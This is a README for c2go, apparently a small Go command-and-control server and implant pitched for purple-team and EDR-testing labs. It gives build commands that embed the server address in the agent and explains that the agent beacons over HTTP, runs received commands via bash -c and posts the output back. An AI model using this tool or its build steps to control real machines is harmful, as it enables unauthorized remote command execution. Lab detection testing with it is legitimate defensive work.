c2go is a minimal, cross-platform command-and-control (C2) server and matching implant, built in Go. It's designed to be as small and simple as possible — perfect for single-agent R&D, purple team payload testing, or detection tuning on a local network.

Leave the victim machine running in another room and test from anywhere on the LAN — no need to bring both laptops.

This project was built to make local agent testing dead simple, portable, and stealthy — without needing a full offensive infrastructure setup.

• 🖥️ Simple terminal-based C2 server with a clean cmd> interface
• 🔁 HTTP beaconing agent (cross-compiled for macOS and Linux)
• 📡 Custom server IP can be passed at build time via -ldflags
• 🔐 Minimal footprint: single binary, no dependencies
• ⚙️ Built for purple team testing, payload R&D, and EDR detection validation

git clone https://github.com/HackerIndustrial-Tooling/C2go.git
cd c2go
go mod init c2go

go run server.go

This starts the server on http://0.0.0.0:8080 and drops you into an interactive prompt (cmd>). When the agent connects, it will display connection logs and any command results.

You can pass the C2 server IP/port at build time using Go's -ldflags.

GOOS=darwin GOARCH=amd64 go build -o agent-macos-x86 \
  -ldflags="-X 'main.serverURL=http://192.168.1.100:8080'" \
  agent/main.go

GOOS=darwin GOARCH=arm64 go build -o agent-macos-arm64 \
  -ldflags="-X 'main.serverURL=http://192.168.1.100:8080'" \
  agent/main.go

Replace 192.168.1.100 with the IP of the machine running the server.

• Launch the C2 server (go run server.go)
• Run the compiled agent on another machine on the same LAN
• Enter shell commands at the cmd> prompt
• See results stream back in real time

• The agent polls /get every few seconds
• When it receives a command, it runs it via bash -c and POSTs the result to /result
• Server logs the first connection from any unique IP

This is the perfect local dev tool for:

• R&D with new payloads
• Rapid EDR testing in isolated labs
• Purple team operator tools
• Fast iteration without needing a full C2 framework
